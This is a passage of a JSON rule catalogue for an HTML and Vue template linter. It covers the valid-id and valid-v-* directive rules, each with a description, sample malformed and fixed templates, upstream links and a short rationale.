          {
            "column": 4,
            "length": 7,
            "line": 3
          },
          {
            "column": 4,
            "length": 8,
            "line": 4
          },
          {
            "column": 4,
            "length": 5,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "valid-id",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "valid-id",
          "note": "the strict form only, without the relaxed option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/valid-id.html"
        }
      ],
      "why": "Such an id is valid HTML5, but it must be escaped in CSS selectors (`#1a` does not select it) and some scripts and older tools fail on it.\n\nTo fix, rename the id."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-bind` that has no expression (`:name` alone is the shorthand for `:name=\"name\"`, a bare `v-bind` is not) or a modifier other than `camel`, `prop`, `attr` and `sync`.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          4,
          5
        ],
        "spans": [
          {
            "column": 13,
            "length": 6,
            "line": 2
          },
          {
            "column": 26,
            "length": 2,
            "line": 3
          },
          {
            "column": 32,
            "length": 4,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "valid-v-bind",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-bind",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-bind.html"
        }
      ],
      "why": "A binding with no value, or with a modifier Vue does not know, is ignored or fails to compile, and the attribute is missing from the element.\n\nTo fix, give the binding an expression and use the modifiers of the list."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-cloak` that has an expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 70,
            "length": 7,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-cloak",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-cloak",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-cloak.html"
        }
      ],
      "why": "The directive takes no value; a value is ignored, so the author believes there is a condition that does not exist.\n\nTo fix, write `v-cloak` alone."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-else` that has an expression, an argument or a modifier, shares an element with `v-if` or `v-else-if`, or is not on the element right after one with `v-if` or `v-else-if`. Only comments and blank space may sit between the elements of a chain.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <p v-else>no if before</p>\n  <p v-if=\"a\">a</p>\n  <!-- a comment may sit between -->\n  <p v-else-if=\"b\">b</p>\n  <p v-else>c</p>\n  <p v-else-if=\"d\">after else</p>\n  <p v-if=\"a\">a</p>\n  text\n  <p v-else-if=\"x\">b</p>\n  <p v-else=\"y\">value</p>\n  <p v-if=\"a\" v-else-if=\"b\">both</p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          7,
          10,
          12
        ],
        "spans": [
          {
            "column": 6,
            "length": 6,
            "line": 2
          },
          {
            "column": 6,
            "length": 6,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "valid-v-else",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-else",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-else.html"
        }
      ],
      "why": "A `v-else` that does not continue a chain is a compile error, and an expression on it is ignored, so the author believes there is a second condition.\n\nTo fix, write a bare `v-else` right after the `v-if` or `v-else-if` element."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-else-if` that has no expression, has an argument or a modifier, shares an element with `v-if` or `v-else`, or is not on the element right after one with `v-if` or `v-else-if`. Only comments and blank space may sit between the elements of a chain.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <p v-else>no if before</p>\n  <p v-if=\"a\">a</p>\n  <!-- a comment may sit between -->\n  <p v-else-if=\"b\">b</p>\n  <p v-else>c</p>\n  <p v-else-if=\"d\">after else</p>\n  <p v-if=\"a\">a</p>\n  text\n  <p v-else-if=\"x\">b</p>\n  <p v-else=\"y\">value</p>\n  <p v-if=\"a\" v-else-if=\"b\">both</p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          11
        ],
        "spans": [
          {
            "column": 6,
            "length": 9,
            "line": 7
          },
          {
            "column": 6,
            "length": 9,
            "line": 10
          },
          {
            "column": 15,
            "length": 9,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "valid-v-else-if",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-else-if",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-else-if.html"
        }
      ],
      "why": "A `v-else-if` that does not continue a chain is a compile error, or it is ignored and the element is always rendered.\n\nTo fix, write `v-else-if=\"condition\"` right after the `v-if` or `v-else-if` element."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-for` whose value is not `item in items` (or `of`), or that has an argument or a modifier. A missing `:key` is `v-for-key`.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          4,
          5
        ],
        "spans": [
          {
            "column": 6,
            "length": 5,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "valid-v-for",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-for",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-for.html"
        }
      ],
      "why": "A `v-for` that does not parse is a compile error, or it loops over nothing.\n\nTo fix, write `v-for=\"item in items\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-html` that has no expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 28,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-html",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-html",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-html.html"
        }
      ],
      "why": "Without an expression the directive fails to compile or inserts nothing.\n\nTo fix, write `v-html=\"body\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-if` that has no expression, has an argument or a modifier, or is on the same element as `v-else` or `v-else-if`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <p v-else>no if before</p>\n  <p v-if=\"a\">a</p>\n  <!-- a comment may sit between -->\n  <p v-else-if=\"b\">b</p>\n  <p v-else>c</p>\n  <p v-else-if=\"d\">after else</p>\n  <p v-if=\"a\">a</p>\n  text\n  <p v-else-if=\"x\">b</p>\n  <p v-else=\"y\">value</p>\n  <p v-if=\"a\" v-else-if=\"b\">both</p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          7,
          10,
          11
        ],
        "spans": [
          {
            "column": 6,
            "length": 4,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "valid-v-if",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-if",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-if.html"
        }
      ],
      "why": "A `v-if` without an expression fails to compile or always hides the element, and an argument or a modifier is ignored.\n\nTo fix, write `v-if=\"condition\"` and put `v-else` on the next element."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-is` that has no expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 89,
            "length": 4,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-is",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-is",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-is.html"
        }
      ],
      "why": "Without an expression the directive fails to compile.\n\nTo fix, write `v-is=\"name\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-memo` that has no expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 82,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-memo",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-memo",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-memo.html"
        }
      ],
      "why": "Without a list of values the directive fails to compile and the subtree is never cached.\n\nTo fix, write `v-memo=\"[a, b]\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-model` that has no expression, and a `v-model` on a file input.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 20,
            "length": 7,
            "line": 2
          },
          {
            "column": 22,
            "length": 7,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "valid-v-model",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-model",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-model.html"
        }
      ],
      "why": "A file input has no value that Vue can set, so the binding fails; a `v-model` with no expression binds nothing.\n\nTo fix, write `v-model=\"name\"`, and listen to `@change` on a file input."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-on` with no handler and no modifier (`@click`). `@click.prevent` alone is not reported.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          4,
          5
        ],
        "spans": [
          {
            "column": 57,
            "length": 6,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "valid-v-on",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-on",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-on.html"
        }
      ],
      "why": "A listener with no handler does nothing, so the click, or the key, has no effect.\n\nTo fix, write `@click=\"go\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-once` that has an expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 49,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-once",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-once",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-once.html"
        }
      ],
      "why": "The directive takes no value; a value is ignored, so the author believes there is a condition that does not exist.\n\nTo fix, write `v-once` alone."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-pre` that has an expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 60,
            "length": 5,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-pre",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-pre",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-pre.html"
        }
      ],
      "why": "The directive takes no value; a value is ignored, so the author believes there is a condition that does not exist.\n\nTo fix, write `v-pre` alone."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-show` that has no expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 42,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "valid-v-show",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-show",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-show.html"
        }
      ],
      "why": "Without an expression the directive fails to compile or never changes the element.\n\nTo fix, write `v-show=\"open\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-slot` with a modifier, and a `v-slot` on a plain HTML element (`<div #item>`). It goes on a `<template>` or a component. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "input": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" v-on:click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          4
        ],
        "spans": [
          {
            "column": 41,
            "length": 4,
            "line": 3
          },
          {
            "column": 50,
            "length": 5,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "valid-v-slot",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "valid-v-slot",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/valid-v-slot.html"
        }
      ],
      "why": "Only a component can receive a slot, so the content on a plain element is lost.\n\nTo fix, put the `v-slot` on a `<template>` (`<template #name=\"props\">`) or on the component."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-text` that has no expression, an argument or a modifier.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <div v-if v-bind v-model v-html v-text v-show v-once=\"x\" v-pre=\"x\" v-cloak=\"x\" v-memo v-is />\n  <b v-for=\"xs\" :key=\"1\" :a=\"\" :a.x=\"1\" #a.m v-if:a=\"1\" @click />\n  <b v-for=\"x in xs\" :key=\"x\" @click.once=\"x\" :b.camel=\"x\" @click.prevent @keyup=\"k\" />\n  <input type=\"file\" v-model=\"f\" /><div v-if=\"a\" #item></div>\n  <p v-if=\"ok\" :a>\n    <template #default=\"p\"><C #item=\"{ a }\" /></template>\n  </p>\n</template>\n",
